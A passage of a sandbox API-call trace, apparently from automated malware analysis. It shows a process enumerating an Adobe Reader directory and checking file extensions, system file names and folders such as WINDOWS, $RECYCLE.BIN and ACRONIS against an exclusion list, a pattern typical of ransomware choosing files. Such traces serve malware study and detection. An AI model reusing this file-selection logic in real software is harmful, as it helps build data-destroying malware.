ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0x0, dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berime.htm", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0029.694] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0029.694] FindNextFileW (in: hFindFile=0x718718, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x718718, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x718718, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0029.694] FindClose (in: hFindFile=0x718718 | out: hFindFile=0x718718) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0x0, dwReserved1=0x0, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x423b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leame.htm", cAlternateFileName="")) returned 1 [0029.694] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeesMij.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4289, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leggimi.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeiaMe.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Liesmich.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisezmoi.htm", cAlternateFileName="")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Llegiu-me.htm", cAlternateFileName="LLEGIU~1.HTM")) returned 1 [0029.695] FindNextFileW (in: hFindFile=0x7186d8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x434e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LueMinut.htm", cAlternateFileName="")) returned 1 [0029.695] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718718 [0029.696] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.699] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.700] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.702] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.702] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.705] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.706] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.706] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHS\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.707] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.707] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.708] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.708] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.709] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.709] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80378de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80378de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.710] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.710] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.711] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.711] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.713] CharUpperBuffW (in: lpsz=".pdf", cchLength=0x4 | out: lpsz=".PDF") returned 0x4 [0029.713] CharUpperBuffW (in: lpsz="DefaultID.pdf", cchLength=0xd | out: lpsz="DEFAULTID.PDF") returned 0xd [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.714] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.714] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.714] CharUpperBuffW (in: lpsz="\\MSOCACHE\\", cchLength=0xa | out: lpsz="\\MSOCACHE\\") returned 0xa [0029.714] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="\\DEFAULT USER\\", cchLength=0xe | out: lpsz="\\DEFAULT USER\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="FILES\\ACRONIS\\", cchLength=0xe | out: lpsz="FILES\\ACRONIS\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\ESP\\") returned 0x40 [0029.715] CharUpperBuffW (in: lpsz="(X86)\\ACRONIS\\", cchLength=0xe | out: lpsz="(X86)\\ACRONIS\\") returned 0xe [0029.715] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\", cchLength=0x40 